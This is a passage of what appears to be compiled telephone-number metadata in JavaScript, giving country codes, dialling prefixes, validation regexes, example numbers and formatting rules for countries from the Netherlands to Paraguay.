$2",["[125-8]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NL:[null,[null,null,"(?:[124-7]\\d\\d|3(?:[02-9]\\d|1[0-8])|[89]\\d{0,3})\\d{6}|1\\d{4,5}",null,null,null,null,null,null,[5,6,7,8,9,10]],[null,null,"(?:1(?:[035]\\d|1[13-578]|6[124-8]|7[24]|8[0-467])|2(?:[0346]\\d|2[2-46-9]|5[125]|9[479])|3(?:[03568]\\d|1[3-8]|2[01]|4[1-8])|4(?:[0356]\\d|1[1-368]|7[58]|8[15-8]|9[23579])|5(?:[0358]\\d|[19][1-9]|2[1-57-9]|4[13-8]|6[126]|7[0-3578])|7\\d\\d)\\d{6}",null,null,null,"101234567",null,null,[9]],[null,null,"6[1-58]\\d{7}",null,null,null,"612345678",null,null,[9]],[null,null,"800\\d{4,7}",null,null,null,"8001234",null,null,[7,8,9,10]],[null,null,"90[069]\\d{4,7}",null,null,null,"9061234",null,null,[7,8,9,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:85|91)\\d{7}",null,null,null,"851234567",null,null,[9]],"NL",31,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3,4})","$1 $2",["14"]],[null,"(\\d{3})(\\d{4,7})","$1 $2",["[89]0"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["1[035]|2[0346]|3[03568]|4[0356]|5[0358]|[7-9]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[1-5]"],"0$1"],[null,"(\\d)(\\d{8})","$1 $2",["6[1-58]"],"0$1"],[null,"(\\d{2})(\\d{7})","$1 $2",["6"],"0$1"]],[[null,"(\\d{3})(\\d{4,7})","$1 $2",["[89]0"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["1[035]|2[0346]|3[03568]|4[0356]|5[0358]|[7-9]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[1-5]"],"0$1"],[null,"(\\d)(\\d{8})","$1 $2",["6[1-58]"],"0$1"],[null,"(\\d{2})(\\d{7})","$1 $2",["6"],"0$1"]],[null,null,"66\\d{7}",null,null,null,"662345678",null,null,[9]],null,null,[null,null,"140(?:1(?:[035]|[16-8]\\d)|2(?:[0346]|[259]\\d)|3(?:[03568]|[124]\\d)|4(?:[0356]|[17-9]\\d)|5(?:[0358]|[124679]\\d)|7\\d|8[458])",null,null,null,null,null,null,[5,6]],[null,null,"140(?:1(?:[035]|[16-8]\\d)|2(?:[0346]|[259]\\d)|3(?:[03568]|[124]\\d)|4(?:[0356]|[17-9]\\d)|5(?:[0358]|[124679]\\d)|7\\d|8[458])|8[478]\\d{7}",null,null,null,"14020",null,null,[5,6,9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NO:[null,[null,null,"(?:0|[2-9]\\d{3})\\d{4}",null,null,null,null,null,null,[5,8]],[null,null,"(?:2[1-4]|3[1-3578]|5[1-35-7]|6[1-4679]|7[0-8])\\d{6}",null,null,null,"21234567",null,null,[8]],[null,null,"(?:4[015-8]|5[89]|9\\d)\\d{6}",null,null,null,"40612345",null,null,[8]],[null,null,"80[01]\\d{5}",null,null,null,"80012345",null,null,[8]],[null,null,"82[09]\\d{5}",null,null,null,"82012345",null,null,[8]],[null,null,"810(?:0[0-6]|[2-8]\\d)\\d{3}",null,null,null,"81021234",null,null,[8]],[null,null,"880\\d{5}",null,null,null,"88012345",null,null,[8]],[null,null,"85[0-5]\\d{5}",null,null,null,"85012345",null,null,[8]],"NO",47,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[235-7]"]],[null,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["[489]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],1,"[02-689]|7[0-8]",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:0\\d|81(?:0(?:0[7-9]|1\\d)|5\\d\\d))\\d{3}",null,null,null,"01234"],null,null,[null,null,"81[23]\\d{5}",null,null,null,"81212345",null,null,[8]]],NP:[null,[null,null,"9\\d{9}|[1-9]\\d{7}",null,null,null,null,null,null,[8,10],[6,7]],[null,null,"(?:1[0-6]\\d|(?:2[13-79]|3[135-8]|4[146-9]|5[135-7]|6[13-9]|7[15-9]|8[1-46-9]|9[1-79])[2-6])\\d{5}",null,null,null,"14567890",null,null,[8],[6,7]],[null,null,"9(?:6[0-3]|7[245]|8[0-24-68])\\d{7}",null,null,null,"9841234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"NP",977,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{7})","$1-$2",["1[2-6]"],"0$1"],[null,"(\\d{2})(\\d{6})","$1-$2",["[1-8]|9(?:[1-579]|6[2-6])"],"0$1"],[null,"(\\d{3})(\\d{7})","$1-$2",["9"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NR:[null,[null,null,"(?:444|55\\d|888)\\d{4}",null,null,null,null,null,null,[7]],[null,null,"(?:444|888)\\d{4}",null,null,null,"4441234"],[null,null,"55[4-9]\\d{4}",null,null,null,"5551234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"NR",674,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[458]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NU:[null,[null,null,"(?:[47]|888\\d)\\d{3}",null,null,null,null,null,null,[4,7]],[null,null,"[47]\\d{3}",null,null,null,"7012",null,null,[4]],[null,null,"888[4-9]\\d{3}",null,null,null,"8884012",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"NU",683,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["8"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NZ:[null,[null,null,"[28]\\d{7,9}|[346]\\d{7}|(?:508|[79]\\d)\\d{6,7}",null,null,null,null,null,null,[8,9,10],[7]],[null,null,"(?:24099|(?:3[2-79]|[49][2-9]|6[235-9]|7[2-57-9])\\d{3})\\d{3}",null,null,null,"32345678",null,null,[8],[7]],[null,null,"2(?:[0-28]\\d?|[79])\\d{7}|21\\d{6}",null,null,null,"211234567"],[null,null,"508\\d{6,7}|80\\d{6,8}",null,null,null,"800123456"],[null,null,"90\\d{6,7}",null,null,null,"900123456",null,null,[8,9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70\\d{7}",null,null,null,"701234567",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],"NZ",64,"0(?:0|161)","0",null,null,"0",null,"00",null,[[null,"(\\d)(\\d{3})(\\d{4})","$1-$2 $3",["24|[346]|7[2-57-9]|9[2-9]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["80|9"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["2(?:10|74)|[59]|80"],"0$1"],[null,"(\\d{2})(\\d{3,4})(\\d{4})","$1 $2 $3",["2[028]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,5})","$1 $2 $3",["[278]"],"0$1"]],null,[null,null,"[28]6\\d{6,7}",null,null,null,"26123456",null,null,[8,9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
OM:[null,[null,null,"(?:[279]\\d{3}|500|8007\\d?)\\d{4}",null,null,null,null,null,null,[7,8,9]],[null,null,"2[2-6]\\d{6}",null,null,null,"23123456",null,null,[8]],[null,null,"(?:7[129]\\d|9(?:0[1-9]|[1-9]\\d))\\d{5}",null,null,null,"92123456",null,null,[8]],[null,null,"(?:500|8007\\d?)\\d{4}",null,null,null,"80071234"],[null,null,"900\\d{5}",null,null,null,"90012345",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"OM",968,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4,6})","$1 $2",["[58]"]],[null,"(\\d{2})(\\d{6})","$1 $2",["2"]],[null,"(\\d{4})(\\d{4})","$1 $2",["[79]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PA:[null,[null,null,"(?:[1-57-9]|6\\d)\\d{6}",null,null,null,null,null,null,[7,8]],[null,null,"(?:1(?:0\\d|1[479]|2[37]|3[0137]|4[17]|5[05]|[68][58]|7[0167]|9[39])|2(?:[0235-79]\\d|1[0-7]|4[013-9]|8[026-9])|3(?:[089]\\d|1[014-7]|2[0-35]|33|4[0-579]|55|6[068]|7[06-8])|4(?:00|3[0-579]|4\\d|7[0-57-9])|5(?:[01]\\d|2[0-7]|[56]0|79)|7(?:0[09]|2[0-26-8]|3[03]|4[04]|5[05-9]|6[05]|7[0-24-9]|8[7-9]|90)|8(?:09|2[89]|3\\d|4[0-24-689]|5[014]|8[02])|9(?:0[5-9]|1[0135-8]|2[036-9]|3[35-79]|40|5[0457-9]|6[05-9]|7[04-9]|8[35-8]|9\\d))\\d{4}",null,null,null,"2001234",null,null,[7]],[null,null,"(?:1[16]1|21[89]|6(?:[02-9]\\d|1[0-5])\\d|8(?:1[01]|7[23]))\\d{4}",null,null,null,"61234567"],[null,null,"800\\d{4}",null,null,null,"8001234",null,null,[7]],[null,null,"(?:8(?:22|55|60|7[78]|86)|9(?:00|81))\\d{4}",null,null,null,"8601234",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"PA",507,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1-$2",["[1-57-9]"]],[null,"(\\d{4})(\\d{4})","$1-$2",["6"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PE:[null,[null,null,"(?:[14-8]|9\\d)\\d{7}",null,null,null,null,null,null,[8,9],[6,7]],[null,null,"(?:1\\d|4[1-4]|5[1-46]|6[1-7]|7[2-46]|8[2-4])\\d{6}",null,null,null,"11234567",null,null,[8],[6,7]],[null,null,"9\\d{8}",null,null,null,"912345678",null,null,[9]],[null,null,"800\\d{5}",null,null,null,"80012345",null,null,[8]],[null,null,"805\\d{5}",null,null,null,"80512345",null,null,[8]],[null,null,"801\\d{5}",null,null,null,"80112345",null,null,[8]],[null,null,"80[24]\\d{5}",null,null,null,"80212345",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],"PE",51,"19(?:1[124]|77|90)00","0"," Anexo ",null,"0",null,null,null,[[null,"(\\d)(\\d{7})","$1 $2",["1"],"(0$1)"],[null,"(\\d{2})(\\d{6})","$1 $2",["[4-7]|8[2-4]"],"(0$1)"],[null,"(\\d{3})(\\d{5})","$1 $2",["8"],"(0$1)"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["9"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PF:[null,[null,null,"[48]\\d{7}|4\\d{5}",null,null,null,null,null,null,[6,8]],[null,null,"4(?:[09][4-689]\\d|4)\\d{4}",null,null,null,"40412345"],[null,null,"8[79]\\d{6}",null,null,null,"87123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"PF",689,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["44"]],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[48]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"44\\d{4}",null,null,null,null,null,null,[6]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PG:[null,[null,null,"(?:180|[78]\\d{3})\\d{4}|(?:[2-589]\\d|64)\\d{5}",null,null,null,null,null,null,[7,8]],[null,null,"(?:(?:3[0-2]|4[257]|5[34]|9[78])\\d|64[1-9]|77(?:[0-24]\\d|30)|85[02-46-9])\\d{4}",null,null,null,"3123456"],[null,null,"(?:7(?:[0-689]\\d|75)|81\\d)\\d{5}",null,null,null,"70123456",null,null,[8]],[null,null,"180\\d{4}",null,null,null,"1801234",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"2(?:0[0-47]|7[568])\\d{4}",null,null,null,"2751234",null,null,[7]],"PG",675,"00|140[1-3]",null,null,null,null,null,"00",null,[[null,"(\\d{3})(\\d{4})","$1 $2",["18|[2-69]|85"]],[null,"(\\d{4})(\\d{4})","$1 $2",["[78]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PH:[null,[null,null,"(?:1800\\d{2,4}|2|[89]\\d{4})\\d{5}|[3-8]\\d{8}|[28]\\d{7}",null,null,null,null,null,null,[6,8,9,10,11,12,13],[4,5,7]],[null,null,"(?:2\\d(?:\\d{2})?|(?:3[2-68]|4[2-9]|5[2-6]|6[2-58]|7[24578])\\d{3}|88(?:22\\d\\d|42))\\d{4}|8[2-8]\\d{7}",null,null,null,"21234567",null,null,[6,8,9,10],[4,5,7]],[null,null,"(?:81[37]|9(?:0[5-9]|1[024-9]|2[0-35-9]|3[02-9]|4[235-9]|5[056]|6[5-7]|7[3-79]|89|9[4-9]))\\d{7}",null,null,null,"9051234567",null,null,[10]],[null,null,"1800\\d{7,9}",null,null,null,"180012345678",null,null,[11,12,13]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"PH",63,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{5})","$1 $2",["2"],"(0$1)"],[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["2"],"(0$1)"],[null,"(\\d{4})(\\d{4,6})","$1 $2",["3(?:23|39|46)|4(?:2[3-6]|[35]9|4[26]|76)|5(?:22|44)|642|8(?:62|8[245])","3(?:230|397|461)|4(?:2(?:35|[46]4|51)|396|4(?:22|63)|59[347]|76[15])|5(?:221|446)|642[23]|8(?:622|8(?:[24]2|5[13]))"],"(0$1)"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["3[2-68]|4[2-9]|[5-7]|8[2-8]","3(?:[23568]|4(?:[0-57-9]|6[02-8]))|4(?:2(?:[0-689]|7[0-8])|[3-8]|9(?:[0-246-9]|3[1-9]|5[0-57-9]))|[5-7]|8(?:[2-7]|8(?:[0-24-9]|3[0-35-9]))"],"(0$1)"],[null,"(\\d{5})(\\d{4})","$1 $2",["[34]|88"],"(0$1)"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[89]"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]],[null,"(\\d{4})(\\d{1,2})(\\d{3})(\\d{4})","$1 $2 $3 $4",["1"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PK:[null,[null,null,"(?:122|[24-8]\\d{4,5}|9(?:[013-9]\\d{2,4}|2(?:[01]\\d\\d|2(?:[025-8]\\d|1[01]))\\d))\\d{6}|(?:[2-8]\\d{3}|92(?:[0-7]\\d|8[1-9]))\\d{6}|[24-9]\\d{8}|[89]\\d{7}",null,null,null,null,null,null,[8,9,10,11,12],[5,6,7]],[null,null,"2(?:(?:1[2-9]\\d|[25][2-9])\\d{6}|(?:3[2358]|4[2-4]|9[2-8])[2-9]\\d{5,6})|4(?:(?:[0146-9][2-9]|2[2-9]\\d)\\d{6}|5[3479][2-9]\\d{5,6})|5(?:(?:[1-35-7][2-9]|8[126]\\d)\\d{6}|4[2-467][2-9]\\d{5,6})|6(?:0[468][2-9]\\d{5,6}|[1-8][2-9]\\d{6})|7(?:[14][2-9]\\d{6}|2[236][2-9]\\d{5,6})|8(?:[16][2-9]\\d{6}|(?:2[2-689]|3[23578]|4[3478]|5[2356])[2-9]\\d{5,6})|9(?:1[2-9]\\d{6}|(?:2[2-8]|3[27-9]|4[2-6]|6[3569]|9[25-8])[2-9]\\d{5,6})",null,null,null,"2123456789",null,null,[9,10],[5,6,7,8]],[null,null,"3(?:[014]\\d|2[0-5]|3[0-7]|55|64)\\d{7}",null,null,null,"3012345678",null,null,[10]],[null,null,"800\\d{5}",null,null,null,"80012345",null,null,[8]],[null,null,"900\\d{5}",null,null,null,"90012345",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"122\\d{6}",null,null,null,"122044444",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],"PK",92,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3",["[89]0"],"0$1"],[null,"(\\d{4})(\\d{5})","$1 $2",["1"]],[null,"(\\d{2})(\\d{7,8})","$1 $2",["(?:2[125]|4[0-246-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91)[2-9]"],"(0$1)"],[null,"(\\d{3})(\\d{6,7})","$1 $2",["2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356])|9(?:2[2-8]|3[27-9]|4[2-6]|6[3569]|9[25-8])","(?:2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356]))[2-9]|9(?:2(?:2[2-9]|[3-8])|(?:3[27-9]|4[2-6]|6[3569])[2-9]|9(?:[25-7][2-9]|8))"],"(0$1)"],[null,"(\\d{5})(\\d{5})","$1 $2",["58"],"(0$1)"],[null,"(\\d{3})(\\d{7})","$1 $2",["3"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["2[125]|4[0-246-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91"],"(0$1)"],[null,"(\\d{3})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["[24-9]"],"(0$1)"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:2(?:[125]|3[2358]|4[2-4]|9[2-8])|4(?:[0-246-9]|5[3479])|5(?:[1-35-7]|4[2-467])|6(?:0[468]|[1-8])|7(?:[14]|2[236])|8(?:[16]|2[2-689]|3[23578]|4[3478]|5[2356])|9(?:1|22|3[27-9]|4[2-6]|6[3569]|9[2-7]))111\\d{6}",null,null,null,"21111825888",null,null,[11,12]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PL:[null,[null,null,"[1-9]\\d{6}(?:\\d{2})?|6\\d{5}(?:\\d{2})?",null,null,null,null,null,null,[6,7,8,9]],[null,null,"(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])\\d{7}|(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])19\\d{3}",null,null,null,"123456789",null,null,[7,9]],[null,null,"(?:45|5[0137]|6[069]|7[2389]|88)\\d{7}",null,null,null,"512345678",null,null,[9]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"70[01346-8]\\d{6}",null,null,null,"701234567",null,null,[9]],[null,null,"801\\d{6}",null,null,null,"801234567",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"39\\d{7}",null,null,null,"391234567",null,null,[9]],"PL",48,"00",null,null,null,null,null,null,null,[[null,"(\\d{5})","$1",["19"]],[null,"(\\d{3})(\\d{3})","$1 $2",["11|64"]],[null,"(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3",["(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])1","(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])19"]],[null,"(\\d{3})(\\d{2})(\\d{2,3})","$1 $2 $3",["64"]],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["1[2-8]|2|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145]"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[3-8]"]]],null,[null,null,"64\\d{4,7}",null,null,null,"641234567"],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"804\\d{6}",null,null,null,"804123456",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PM:[null,[null,null,"[45]\\d{5}",null,null,null,null,null,null,[6]],[null,null,"(?:4[1-3]|50)\\d{4}",null,null,null,"430123"],[null,null,"(?:4[02-4]|5[05])\\d{4}",null,null,null,"551234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"PM",508,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["[45]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PR:[null,[null,null,"(?:[589]\\d\\d|787)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"(?:787|939)[2-9]\\d{6}",null,null,null,"7872345678",null,null,null,[7]],[null,null,"(?:787|939)[2-9]\\d{6}",null,null,null,"7872345678",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002345678"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"PR",1,"011","1",null,null,"1",null,null,1,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"787|939",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PS:[null,[null,null,"(?:(?:1\\d|5)\\d\\d|[2489]2)\\d{6}",null,null,null,null,null,null,[8,9,10],[7]],[null,null,"(?:22[2-47-9]|42[45]|82[01458]|92[369])\\d{5}",null,null,null,"22234567",null,null,[8],[7]],[null,null,"5[69]\\d{7}",null,null,null,"599123456",null,null,[9]],[null,null,"1800\\d{6}",null,null,null,"1800123456",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"1700\\d{6}",null,null,null,"1700123456",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"PS",970,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["[2489]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["5"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PT:[null,[null,null,"(?:[26-9]\\d|30)\\d{7}",null,null,null,null,null,null,[9]],[null,null,"2(?:[12]\\d|[35][1-689]|4[1-59]|6[1-35689]|7[1-9]|8[1-69]|9[1256])\\d{6}",null,null,null,"212345678"],[null,null,"9(?:[1-36]\\d\\d|480)\\d{5}",null,null,null,"912345678"],[null,null,"80[02]\\d{6}",null,null,null,"800123456"],[null,null,"(?:6(?:0[178]|4[68])\\d|76(?:0[1-57]|1[2-47]|2[237]))\\d{5}",null,null,null,"760123456"],[null,null,"80(?:8\\d|9[1579])\\d{5}",null,null,null,"808123456"],[null,null,"884[0-4689]\\d{5}",null,null,null,"884123456"],[null,null,"30\\d{7}",null,null,null,"301234567"],"PT",351,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["2[12]"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[236-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70(?:7\\d|8[17])\\d{5}",null,null,null,"707123456"],null,null,[null,null,"600\\d{6}",null,null,null,"600110000"]],PW:[null,[null,null,"(?:[25-8]\\d\\d|345|488|900)\\d{4}",null,null,null,null,null,null,[7]],[null,null,"(?:2(?:55|77)|345|488|5(?:35|44|87)|6(?:22|54|79)|7(?:33|47)|8(?:24|55|76)|900)\\d{4}",null,null,null,"2771234"],[null,null,"(?:6[2-4689]0|77\\d|88[0-4])\\d{4}",null,null,null,"6201234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"PW",680,"01[12]",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[2-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],PY:[null,[null,null,"(?:[2-46-9]\\d|5[0-8])\\d{7}|[2-9]\\d{5,7}",null,null,null,null,null,null,[6,7,8,9],[5]],[null,null,"(?:2(?:1\\d|2[4-68]|7[15]|9[1-5])|5(?:[1-4]\\d|5[02-4])|6(?:1\\d|3[1-3]|44|7[1-46-8]))\\d{5,6}|3(?:(?:18|3[167]|4[2357]|51)\\d{5,6}|[289]\\d{5,7})|4(?:[1246-8]\\d{5,7}|(?:3[12]|5[13]|9[1-47])\\d{5,6})|7(?:[1-3]\\d{5,7}|(?:4[0-4]|6[1-578]|75|8[0-8])\\d{5,6})|8(?:[1-36]\\d{5,7}|58\\d{5,6})|[26]1\\d{5}",null,null,null,"212345678",null,null,[7,8,9],[5,6]],[null,null,"9(?:51|6[129]|[78][1-6]|9[1-5])\\d{6}",null,null,null,"961456789",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"8700[0-4]\\d{4}",null,null,null,"870012345",null,null,[9]],"PY",595,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3,6})","$1 $2",["[2-9]0"],"0$1"],[null,"(\\d{2})(\\d{5})","$1 $2",["[26]1|3[289]|4[1246-8]|7[1-3]|8[1-36]"],"(0$1)"],[null,"(\\d{3})(\\d{4,5})","$1 $2",["2[279]|3[13-5]|4[359]|5|6[347]|7[46-8]|85"],"(0$1)"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[26]1|3[289]|4[1246-8]|7[1-3]|8[1-36]"],"(0$1)"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 